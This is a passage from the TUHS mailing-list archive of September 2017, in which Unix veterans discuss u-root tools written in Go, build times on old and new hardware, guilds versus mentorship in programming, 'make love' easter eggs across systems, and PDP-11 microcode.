In-Reply-To: <CAP6exY+k_hFRiLz8c+mQ+bu0pvu=DxXRqxOYpMjiA18q8hFZuQ@mail.gmail.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193010.mlx4jkqcxcqfwe4c@thunk.org>
 <alpine.BSF.2.02.1709141549110.1652@frieza.hoshinet.org>
 <f31de93b-1f6b-1d22-ae49-324d205e9a38@groessler.org>
 <CAEFkZw_gsWkK-LAccm3gKh22-J4B5VbrQDBBnZeH0i7vv2AT-A@mail.gmail.com>
 <CAP6exY+k_hFRiLz8c+mQ+bu0pvu=DxXRqxOYpMjiA18q8hFZuQ@mail.gmail.com>
Message-ID: <CANCZdfraZrTsOkWM9oC+WC3N_28q=XJjGD8Az9guDiehyppTDQ@mail.gmail.com>

First off, this sounds cool! One nit pick though...

On Thu, Sep 14, 2017 at 4:52 PM, ron minnich <rminnich at gmail.com> wrote:

> It takes about 15 seconds to compile all the tools at present.
>

If you want to replicate the old-school Unix experience, you'd need it to
take more like 15 hours to compile all the tools :)

My DEC Rainbow running Venix (v7 port) takes about 15 hours to build the
bits of the v7 tree that build on it. I don't have the sources to Venix,
but a long-term project is to recreate them using the compiler supplied and
comparison to the binaries shipped...

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170914/cbc9fa90/attachment.html>

From bakul at bitblocks.com  Fri Sep 15 09:06:32 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Thu, 14 Sep 2017 16:06:32 -0700
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <CAP6exY+k_hFRiLz8c+mQ+bu0pvu=DxXRqxOYpMjiA18q8hFZuQ@mail.gmail.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193010.mlx4jkqcxcqfwe4c@thunk.org>
 <alpine.BSF.2.02.1709141549110.1652@frieza.hoshinet.org>
 <f31de93b-1f6b-1d22-ae49-324d205e9a38@groessler.org>
 <CAEFkZw_gsWkK-LAccm3gKh22-J4B5VbrQDBBnZeH0i7vv2AT-A@mail.gmail.com>
 <CAP6exY+k_hFRiLz8c+mQ+bu0pvu=DxXRqxOYpMjiA18q8hFZuQ@mail.gmail.com>
Message-ID: <5317B399-2696-433D-828D-F58CC2E35818@bitblocks.com>


> On Sep 14, 2017, at 3:52 PM, ron minnich <rminnich at gmail.com> wrote:
> 
> The u-root project (u-root.tk) is aimed at creating the *nix tools in Go. The targets are firmware where linux and an initramfs are loaded; and root file systems.
> 
> One goal was to get back to old school unix where the root always included the source to create the commands. In the non-firmware mode all the sources are there
> and they are compiled on demand, save for the 4 go tooclhain binaries and /init.
> 
> It takes about 15 seconds to compile all the tools at present. 
> 
> We've got a demo OS for Chromebooks based on u-root called NiChrome (NiChrome is an alloy of Chrome). This was a summer project for 2 interns here. It helped show that the idea can work to support an OS distro. 
> 
> We've also shown that linux and a u-root initramfs can replace most of UEFI firmware on the Open Compute Platform nodes, reducing boot time from 8 minutes to 17 seconds. Not as fast as the 3 seconds I'd like but you gotta start somewhere, and most of that time is beyond our control. 
> 
> We can always use help if you're interested. I'm ok with C for kernels but don't want to use it again in user mode, hence this 

Nice!

How hard would it be to replace linux with FreeBSD or plan9?
I guess linux->plan9 is progressively less and less h/w
support more and more fun to hack on the kernel! 

From gtaylor at tnetconsulting.net  Fri Sep 15 09:09:29 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Thu, 14 Sep 2017 17:09:29 -0600
Subject: [TUHS] ping
In-Reply-To: <CAP6exYJxvBoFSHTYfQDjhhUmt+jN7L_Yk+6S-8SJnyYiJJc17g@mail.gmail.com>
References: <CAP6exYJxvBoFSHTYfQDjhhUmt+jN7L_Yk+6S-8SJnyYiJJc17g@mail.gmail.com>
Message-ID: <9bcc3919-98f4-a96b-23db-4899444a9740@tnetconsulting.net>

On 09/14/2017 05:00 PM, ron minnich wrote:
> I got a note about excessive bounces. Can you give me more info? I think 
> somebody is up to something  but can't be sure what.

I've not seen bounces (delivery status notifications) per say.

But I do routinely see DMARC feedback reports about problems, likely 
related to DKIM ~> DMARC.

Could that be what you're talking about?



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170914/13c369ad/attachment.bin>

From bakul at bitblocks.com  Fri Sep 15 09:14:03 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Thu, 14 Sep 2017 16:14:03 -0700
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <CANCZdfraZrTsOkWM9oC+WC3N_28q=XJjGD8Az9guDiehyppTDQ@mail.gmail.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193010.mlx4jkqcxcqfwe4c@thunk.org>
 <alpine.BSF.2.02.1709141549110.1652@frieza.hoshinet.org>
 <f31de93b-1f6b-1d22-ae49-324d205e9a38@groessler.org>
 <CAEFkZw_gsWkK-LAccm3gKh22-J4B5VbrQDBBnZeH0i7vv2AT-A@mail.gmail.com>
 <CAP6exY+k_hFRiLz8c+mQ+bu0pvu=DxXRqxOYpMjiA18q8hFZuQ@mail.gmail.com>
 <CANCZdfraZrTsOkWM9oC+WC3N_28q=XJjGD8Az9guDiehyppTDQ@mail.gmail.com>
Message-ID: <75A246F6-B21A-4F24-B57F-221D7C920CC4@bitblocks.com>


> On Sep 14, 2017, at 4:04 PM, Warner Losh <imp at bsdimp.com> wrote:
> 
> First off, this sounds cool! One nit pick though...
> 
> On Thu, Sep 14, 2017 at 4:52 PM, ron minnich <rminnich at gmail.com> wrote:
> It takes about 15 seconds to compile all the tools at present. 
> 
> If you want to replicate the old-school Unix experience, you'd need it to take more like 15 hours to compile all the tools :)
> 
> My DEC Rainbow running Venix (v7 port) takes about 15 hours to build the bits of the v7 tree that build on it. I don't have the sources to Venix, but a long-term project is to recreate them using the compiler supplied and comparison to the binaries shipped...

You can do better than your old-school Unix experience with a pi and linux :-)
On the 1st gen RasPi the linux kernel took 10+ hours to build from scratch.
In contrast the plan9 kernel took one minute. The equivalent of FreeBSD's
"make world" for plan9 took 4 minutes. IIRC half of it was for ghostscript.



From wkt at tuhs.org  Fri Sep 15 09:55:42 2017
From: wkt at tuhs.org (Warren Toomey)
Date: Fri, 15 Sep 2017 09:55:42 +1000
Subject: [TUHS] ping
In-Reply-To: <CAP6exYJxvBoFSHTYfQDjhhUmt+jN7L_Yk+6S-8SJnyYiJJc17g@mail.gmail.com>
References: <CAP6exYJxvBoFSHTYfQDjhhUmt+jN7L_Yk+6S-8SJnyYiJJc17g@mail.gmail.com>
Message-ID: <20170914235542.GA7894@minnie.tuhs.org>

On Thu, Sep 14, 2017 at 11:00:14PM +0000, ron minnich wrote:
>   I got a note about excessive bounces. Can you give me more info? I
>   think somebody is up to something  but can't be sure what.

I've had a few e-mails about this. It seems to be Gmail related. I
haven't tracked the issue down yet. I'll keep looking.

Cheers, Warren


From rminnich at gmail.com  Fri Sep 15 10:47:16 2017
From: rminnich at gmail.com (ron minnich)
Date: Fri, 15 Sep 2017 00:47:16 +0000
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <5317B399-2696-433D-828D-F58CC2E35818@bitblocks.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193010.mlx4jkqcxcqfwe4c@thunk.org>
 <alpine.BSF.2.02.1709141549110.1652@frieza.hoshinet.org>
 <f31de93b-1f6b-1d22-ae49-324d205e9a38@groessler.org>
 <CAEFkZw_gsWkK-LAccm3gKh22-J4B5VbrQDBBnZeH0i7vv2AT-A@mail.gmail.com>
 <CAP6exY+k_hFRiLz8c+mQ+bu0pvu=DxXRqxOYpMjiA18q8hFZuQ@mail.gmail.com>
 <5317B399-2696-433D-828D-F58CC2E35818@bitblocks.com>
Message-ID: <CAP6exYLxaRecnQR8DuQkfwvzELxJnkmYkLOR89NSQ-+mwCT-Cw@mail.gmail.com>

On Thu, Sep 14, 2017 at 4:06 PM Bakul Shah <bakul at bitblocks.com> wrote:

>
>
> How hard would it be to replace linux with FreeBSD or plan9?
> I guess linux->plan9 is progressively less and less h/w
> support more and more fun to hack on the kernel!


whatever go runs on, u-root will run on, but there are places we had to use
Linux-specific stuff (e.g. netlink) that you'd have to write code for or
you won't get thinks like the ip command or dhcp client, and so on.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170915/6eeb3561/attachment.html>

From crossd at gmail.com  Fri Sep 15 11:24:44 2017
From: crossd at gmail.com (Dan Cross)
Date: Thu, 14 Sep 2017 21:24:44 -0400
Subject: [TUHS] really Pottering vs UNIX
In-Reply-To: <880AF6DC-A8C8-49C3-B874-A0879406BBDD@bitblocks.com>
References: <CAC20D2M9E0TdK-wnLjMDbDF+qfnWgJCEikBq0RmrT9=oFSGEuQ@mail.gmail.com>
 <880AF6DC-A8C8-49C3-B874-A0879406BBDD@bitblocks.com>
Message-ID: <CAEoi9W4RhN5Tfou4GOpnNMGOWRT5GMXN_TnLQKjgfo8LXAHEkg@mail.gmail.com>

On Thu, Sep 14, 2017 at 5:15 PM, Bakul Shah <bakul at bitblocks.com> wrote:

>
> > On Sep 14, 2017, at 1:46 PM, Clem Cole <clemc at ccc.com> wrote:
> >
> > I think you are actually touching on an idea that has been around
> humanity for a long time that is independent of the computer field.  We
> call it "good taste."  Part of acquiring good taste is learning what is in
> bad taste, a heavy dose of experience and frankly the ability to evaluate
> your own flaws.
>
> More to do with a sense for quality. Often developed through experience
> (but not just that). I think what we need is a guild system for
> programmers/engineers. Being an apprentice of a master craftsman is
> essential for learning this "good taste" as you call it.


No, please; not this old saw again.

This guild system for software keeps coming up but I don't see how it
cannot but be abused. I remember reading one of those self-help books by
one of the agile types (I forget which one) and there was a vignette about
one of the self-styled agile gurus (Robert C Martin, I think) coming into
some room where people were undergoing "apprenticeships" an, seeing an
overflowing trashcan and taking out the trash. The person telling the story
went one and one about being so embarrassed because s/he was "just" a lowly
intern and this "master software craftsman" had taken out the trash.

I pretty much stopped reading after that. Sorry, but I cleaned enough heads
and squad bays when I was in the Marines; Robert C Martin can take out his
own trash, thank you very much. Also, I read one of his books once and he
misspelled "Lieutenant" in the chapter about quality and attention to
detail (a minor detail I was acutely aware of because I was a Lieutenant at
the time).

I think a better system than putting us into this rigid hierarchy system is
to think of programming as somewhat analogous to writing; it requires
proofreading and good editing. Some authors are better than others;
practice helps a lot, writers workshops can help, seeking out advise and
mentorship from more accomplished writers similarly, etc.

But the guild/craftsmanship metaphor just doesn't work for me.

        - Dan C.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170914/fdb77415/attachment.html>

From wes.parish at paradise.net.nz  Fri Sep 15 11:39:34 2017
From: wes.parish at paradise.net.nz (Wesley Parish)
Date: Fri, 15 Sep 2017 13:39:34 +1200 (NZST)
Subject: [TUHS] really Pottering vs UNIX
In-Reply-To: <CAEoi9W4RhN5Tfou4GOpnNMGOWRT5GMXN_TnLQKjgfo8LXAHEkg@mail.gmail.com>
References: <CAC20D2M9E0TdK-wnLjMDbDF+qfnWgJCEikBq0RmrT9=oFSGEuQ@mail.gmail.com>
 <880AF6DC-A8C8-49C3-B874-A0879406BBDD@bitblocks.com>
 <CAEoi9W4RhN5Tfou4GOpnNMGOWRT5GMXN_TnLQKjgfo8LXAHEkg@mail.gmail.com>
Message-ID: <1505439574.59bb2f563eecb@www.paradise.net.nz>

Quoting Dan Cross <crossd at gmail.com>:

> On Thu, Sep 14, 2017 at 5:15 PM, Bakul Shah <bakul at bitblocks.com>
> wrote:
> 
> >
> > > On Sep 14, 2017, at 1:46 PM, Clem Cole <clemc at ccc.com> wrote:
> > >
> > > I think you are actually touching on an idea that has been around
> > humanity for a long time that is independent of the computer field.
> We
> > call it "good taste." Part of acquiring good taste is learning what is
> in
> > bad taste, a heavy dose of experience and frankly the ability to
> evaluate
> > your own flaws.
> >
> > More to do with a sense for quality. Often developed through
> experience
> > (but not just that). I think what we need is a guild system for
> > programmers/engineers. Being an apprentice of a master craftsman is
> > essential for learning this "good taste" as you call it.
> 
> 
> No, please; not this old saw again.
> 
> This guild system for software keeps coming up but I don't see how it
> cannot but be abused. I remember reading one of those self-help books
> by
> one of the agile types (I forget which one) and there was a vignette
> about
> one of the self-styled agile gurus (Robert C Martin, I think) coming
> into
> some room where people were undergoing "apprenticeships" an, seeing an
> overflowing trashcan and taking out the trash. The person telling the
> story
> went one and one about being so embarrassed because s/he was "just" a
> lowly
> intern and this "master software craftsman" had taken out the trash.
> 
> I pretty much stopped reading after that. Sorry, but I cleaned enough
> heads
> and squad bays when I was in the Marines; Robert C Martin can take out
> his
> own trash, thank you very much. Also, I read one of his books once and
> he
> misspelled "Lieutenant" in the chapter about quality and attention to
> detail (a minor detail I was acutely aware of because I was a Lieutenant
> at
> the time).
> 
> I think a better system than putting us into this rigid hierarchy system
> is
> to think of programming as somewhat analogous to writing; it requires
> proofreading and good editing. Some authors are better than others;
> practice helps a lot, writers workshops can help, seeking out advise
> and
> mentorship from more accomplished writers similarly, etc.

I agree with that. To write a story or an article, you have to know where you are going with it. You need 
to know how to make the best use of your resources - the language, the register of language eg chatty 
versus formal versus jargon versus whatever - which implies you have to know those resources, you 
need to know how everything fits together in their contexts unless you are writing satire or comedy or 
such in which case you are deliberately aiming for the resulting absurdity. Etc, etc.

And you don't get that from being told about it. You have to do it. And you have to revise it. And you 
have to be humble about it, too. Taking criticism on board in on of the hardest things from any writer.

But that's how it works.

Wesley Parish

> 
> But the guild/craftsmanship metaphor just doesn't work for me.
> 
>  - Dan C.
>  



"I have supposed that he who buys a Method means to learn it." - Ferdinand Sor,
Method for Guitar

"A verbal contract isn't worth the paper it's written on." -- Samuel Goldwyn


From ron at ronnatalie.com  Fri Sep 15 11:40:27 2017
From: ron at ronnatalie.com (Ron Natalie)
Date: Thu, 14 Sep 2017 21:40:27 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr> <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
Message-ID: <02b201d32dc3$9ebd11e0$dc3735a0$@ronnatalie.com>


Frankly, I don't give a hoot about what the FSF or especially RMS cares
about.   RMS used to show up at my house on a regular basis, and I spent
time in the early FSF with some of the people I really respected other than
RMS (like Len Tower).   RMS while condemning everybody else, cares little
about other than himself and his sociopathically depraved views of the way
the world should be.    And as Forrest Gump would say "Tha'ts all I have to
say about that."




From khm at sciops.net  Fri Sep 15 13:00:06 2017
From: khm at sciops.net (Kurt H Maier)
Date: Thu, 14 Sep 2017 20:00:06 -0700
Subject: [TUHS] really Pottering vs UNIX
In-Reply-To: <CAEoi9W4RhN5Tfou4GOpnNMGOWRT5GMXN_TnLQKjgfo8LXAHEkg@mail.gmail.com>
References: <CAC20D2M9E0TdK-wnLjMDbDF+qfnWgJCEikBq0RmrT9=oFSGEuQ@mail.gmail.com>
 <880AF6DC-A8C8-49C3-B874-A0879406BBDD@bitblocks.com>
 <CAEoi9W4RhN5Tfou4GOpnNMGOWRT5GMXN_TnLQKjgfo8LXAHEkg@mail.gmail.com>
Message-ID: <20170915030006.GB50485@wopr>

On Thu, Sep 14, 2017 at 09:24:44PM -0400, Dan Cross wrote:
> 
> I think a better system than putting us into this rigid hierarchy system is
> to think of programming as somewhat analogous to writing; it requires
> proofreading and good editing. Some authors are better than others;
> practice helps a lot, writers workshops can help, seeking out advise and
> mentorship from more accomplished writers similarly, etc.

It's a good thing real engineers don't put themselves on these
pedestals.  We wouldn't have any bridges left.

I'm glad NCEES is making efforts to formalize 'software engineer' as a
class of PE; maybe in another hundred years or so I'll be able to
believe promises that programmers make.

khm


From dave at horsfall.org  Fri Sep 15 13:16:25 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Fri, 15 Sep 2017 13:16:25 +1000 (EST)
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
Message-ID: <alpine.BSF.2.21.1709151303510.89458@aneurin.horsfall.org>

On Wed, 13 Sep 2017, Nemo wrote:

> Oh, I nearly wept when I read this.  Building a typical project nowadays 
> is so painful -- the makefile works on one particular Linux distro and 
> woe betide the rest.

Ah, well I remember when "make" was first introduced (in PWB?); I thought
it was Christmas...

Now, even it has to be modified for various platforms.

Trivia: what does "make love" say on your system?  My Mac boringly says 
"make: *** No rule to make target `love'.  Stop." and the FreeBSD box 
isn't much better: "make: don't know how to make love. Stop".  I don't 
know what my Penguin laptop says because it's currently switched off.

Sigh...

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From imp at bsdimp.com  Fri Sep 15 13:33:09 2017
From: imp at bsdimp.com (Warner Losh)
Date: Thu, 14 Sep 2017 21:33:09 -0600
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <alpine.BSF.2.21.1709151303510.89458@aneurin.horsfall.org>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
 <alpine.BSF.2.21.1709151303510.89458@aneurin.horsfall.org>
Message-ID: <CANCZdfqBtikYen4TOov+B6TAwUgY0TLQQj+dPwPLCpvkQz+8qw@mail.gmail.com>

On Thu, Sep 14, 2017 at 9:16 PM, Dave Horsfall <dave at horsfall.org> wrote:

> On Wed, 13 Sep 2017, Nemo wrote:
>
> Oh, I nearly wept when I read this.  Building a typical project nowadays
>> is so painful -- the makefile works on one particular Linux distro and woe
>> betide the rest.
>>
>
> Ah, well I remember when "make" was first introduced (in PWB?); I thought
> it was Christmas...
>
> Now, even it has to be modified for various platforms.
>
> Trivia: what does "make love" say on your system?  My Mac boringly says
> "make: *** No rule to make target `love'.  Stop." and the FreeBSD box isn't
> much better: "make: don't know how to make love. Stop".  I don't know what
> my Penguin laptop says because it's currently switched off.
>
> Sigh...


FreeBSD's make used to say 'not war' but when bmake was imported from
NetBSD, that went away and the maintainers aren't keen on brining back the
joke :( I added it years ago, but haven't missed it enough to fight the
political battle to get it back in...

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170914/bf9e3d31/attachment.html>

From dave at horsfall.org  Fri Sep 15 13:59:57 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Fri, 15 Sep 2017 13:59:57 +1000 (EST)
Subject: [TUHS] B Source Code
In-Reply-To: <20170914133913.178D618C094@mercury.lcs.mit.edu>
References: <20170914133913.178D618C094@mercury.lcs.mit.edu>
Message-ID: <alpine.BSF.2.21.1709151351010.89458@aneurin.horsfall.org>

On Thu, 14 Sep 2017, Noel Chiappa wrote:

> Interesting factoid: The PDP-11 initially used a threaded FORTRAN 
> implementation. In line with the observation above (about a new virtual 
> machine), DEC actually looked into writing microcode for the -11/60 
> (which had a writeable control store) to implement the FORTRAN virtual 
> machine.

Did anyone actually use the WCS?  I had visions of implementing CSAV and
CRET on our -60, but never did get around to it.  Too late now...

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From scj at yaccman.com  Fri Sep 15 15:42:55 2017
From: scj at yaccman.com (Steve Johnson)
Date: Thu, 14 Sep 2017 22:42:55 -0700
Subject: [TUHS] really Pottering vs UNIX
In-Reply-To: <CAEoi9W4RhN5Tfou4GOpnNMGOWRT5GMXN_TnLQKjgfo8LXAHEkg@mail.gmail.com>
Message-ID: <d92047c5a36c6e72bd694322acb4ff33e3835f9f@webmail.yaccman.com>



More to do with a sense for quality. Often developed through
experience
 (but not just that). I think what we need is a guild system for
 programmers/engineers. Being an apprentice of a master craftsman is
 essential for learning this "good taste" as you call it.

I guess I'm not so totally against guilds per se.  Since I believe
that programming (at least is a profession) is a service industry, I
think that doesn't come naturally to a lot of otherwise bright people
(including, I might add, me).  Back when I was writing FORTRAN, I was
working for a guy with very high standards who read my code and got me
to comment or, more usually, rewrite all the obscure things I did.
 He made the point that a good program never dies, and many people
will read it and modify it and try to understand it, and it's almost a
professional duty to make sure that you make this as easy as possible
for them.  

Maybe a guild is a bit too stuffy, but being mentored by someone with
their head screwed on straight, and consequently making a point to
seek out excellent examples of the programming art and learn from them
had a profound effect on my skill as a programmer and my career.

I don't think I would have found this in a book or long midnight hours
hacking away...

Steve


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170914/3013a1fc/attachment.html>

From bakul at bitblocks.com  Fri Sep 15 16:43:31 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Thu, 14 Sep 2017 23:43:31 -0700
Subject: [TUHS] really Pottering vs UNIX
In-Reply-To: <CAEoi9W4RhN5Tfou4GOpnNMGOWRT5GMXN_TnLQKjgfo8LXAHEkg@mail.gmail.com>
References: <CAC20D2M9E0TdK-wnLjMDbDF+qfnWgJCEikBq0RmrT9=oFSGEuQ@mail.gmail.com>
 <880AF6DC-A8C8-49C3-B874-A0879406BBDD@bitblocks.com>
 <CAEoi9W4RhN5Tfou4GOpnNMGOWRT5GMXN_TnLQKjgfo8LXAHEkg@mail.gmail.com>
Message-ID: <0375A2D0-4C7C-4DBB-9150-CBF0D172C7C6@bitblocks.com>


> On Sep 14, 2017, at 6:24 PM, Dan Cross <crossd at gmail.com> wrote:
> 
> I think a better system than putting us into this rigid hierarchy system is to think of programming as somewhat analogous to writing; it requires proofreading and good editing. Some authors are better than others; practice helps a lot, writers workshops can help, seeking out advise and mentorship from more accomplished writers similarly, etc.

I think programming has more in common with carpentry or some     
such construction related profession than writing. Often you   
work in collaboration with others (most writing is a lonely   
toil). The component you work on has to fit well with others'.  
Finishing on time and the cost of materials and labor matters.  
What you build is something people use over and over again and
reply on for shelter and comfort. The structural integrity of
your work matters. Overall architecture matters. Skill with
tools matter.  Understanding the material you work with and
where it is suitable matters. There is a lot more craft than 
creativity. While the highest form of writing is considered to
be creative writing.

You pointed out how the maser/apprentice relationship can be
abused but so can teacher/student, boss/employee etc. ones.
The point of a master/apprentice or mentor/mentee relationship
is ensure that the practical knowledge is passed on.  It is
what and how and why and under what conditions. And also what
not to do, etc. It is not just what the apprentice *wants*
to learn but also what he needs to learn. And learn by doing.

You mentioned proof reading and editing. Typically is no such
editing function in software. [You touch my code, you own it!]
We have code reviews by peers but these reviews tend to be too
low level. Everything must have a test but that still doesn't
help you write better structured software. 

Someone blamed open source for the poor quality of code.  But
I have seen far worse quality code used by companies.  In
one job they had two millions lines of C++ code. It seemed
they only did additive programming. Layers upon layers of
cruft. These programmers were intelligent but they didn't have
the knowledge or training or oversight or perhaps passion.

As a programmer for hire for many years I saw a lot more of
this. In one place the way they got a 'clean' compile of 
ported C code was by liberal use of casting. You can fool a
compiler but you can't fool runtime. And it wasn't even a 
difficult port. And debugging skills are in short supply.
Too many times no root cause analysis is done. Fixes in 
the wrong place. 

Things like agile programming and scrum and sprints -- not  
sure how well they work when it comes quality. 

What I am getting at is we have better languages and better
tooling but there is a critical need for better training.

> But the guild/craftsmanship metaphor just doesn't work for me.

The guild idea not going to fly in any case. Nobody has any
patience any more and egoless programming doesn't exist.
Not sure what will work.



From ron at ronnatalie.com  Fri Sep 15 18:32:20 2017
From: ron at ronnatalie.com (Ron Natalie)
Date: Fri, 15 Sep 2017 04:32:20 -0400
Subject: [TUHS] Happy birthday,
	Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <CANCZdfqBtikYen4TOov+B6TAwUgY0TLQQj+dPwPLCpvkQz+8qw@mail.gmail.com>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
 <alpine.BSF.2.21.1709151303510.89458@aneurin.horsfall.org>
 <CANCZdfqBtikYen4TOov+B6TAwUgY0TLQQj+dPwPLCpvkQz+8qw@mail.gmail.com>
Message-ID: <02d201d32dfd$267f2940$737d7bc0$@ronnatalie.com>

The command MAKE on TOPS10 was an interface to the editor (TECO).

 

. MAKE LOVE

NOT WAR?
[4K CORE]

 

 

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170915/49e94a3f/attachment.html>

From pechter at gmail.com  Fri Sep 15 21:43:19 2017
From: pechter at gmail.com (William Pechter)
Date: Fri, 15 Sep 2017 07:43:19 -0400
Subject: [TUHS] B Source Code
In-Reply-To: <alpine.BSF.2.21.1709151351010.89458@aneurin.horsfall.org>
References: <20170914133913.178D618C094@mercury.lcs.mit.edu>
 <alpine.BSF.2.21.1709151351010.89458@aneurin.horsfall.org>
Message-ID: <fbf3c0c5-e24a-46d0-a245-56559532c963.maildroid@localhost>

I thought Reuters re-microcoded them to be the fastest PDP8 around...

So was the DEC Field Service story...

Bill


-----Original Message-----
From: Dave Horsfall <dave at horsfall.org>
To: The Eunuchs Hysterical Society <tuhs at tuhs.org>
Sent: Fri, 15 Sep 2017 0:00
Subject: Re: [TUHS] B Source Code

On Thu, 14 Sep 2017, Noel Chiappa wrote:

> Interesting factoid: The PDP-11 initially used a threaded FORTRAN 
> implementation. In line with the observation above (about a new virtual 
> machine), DEC actually looked into writing microcode for the -11/60 
> (which had a writeable control store) to implement the FORTRAN virtual 
> machine.

Did anyone actually use the WCS?  I had visions of implementing CSAV and
CRET on our -60, but never did get around to it.  Too late now...

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From krewat at kilonet.net  Fri Sep 15 22:42:11 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Fri, 15 Sep 2017 08:42:11 -0400
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <alpine.BSF.2.21.1709151303510.89458@aneurin.horsfall.org>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
 <alpine.BSF.2.21.1709151303510.89458@aneurin.horsfall.org>
Message-ID: <f5afbf1e-e157-cb66-4b8b-b77c615117a1@kilonet.net>

On TOPS-10, "make love" says "Not WAR?" - but unlike UNIX make, it 
invokes TECO ;)

.MAKE LOVE
not WAR?

*ITHIS IS A TEST
$$
*HT$$
THIS IS A TEST
*



On 9/14/2017 11:16 PM, Dave Horsfall wrote:
> On Wed, 13 Sep 2017, Nemo wrote:
>
>> Oh, I nearly wept when I read this. Building a typical project 
>> nowadays is so painful -- the makefile works on one particular Linux 
>> distro and woe betide the rest.
>
> Ah, well I remember when "make" was first introduced (in PWB?); I thought
> it was Christmas...
>
> Now, even it has to be modified for various platforms.
>
> Trivia: what does "make love" say on your system?  My Mac boringly 
> says "make: *** No rule to make target `love'.  Stop." and the FreeBSD 
> box isn't much better: "make: don't know how to make love. Stop".  I 
> don't know what my Penguin laptop says because it's currently switched 
> off.
>
> Sigh...
>



From clemc at ccc.com  Fri Sep 15 22:44:26 2017
From: clemc at ccc.com (Clem Cole)
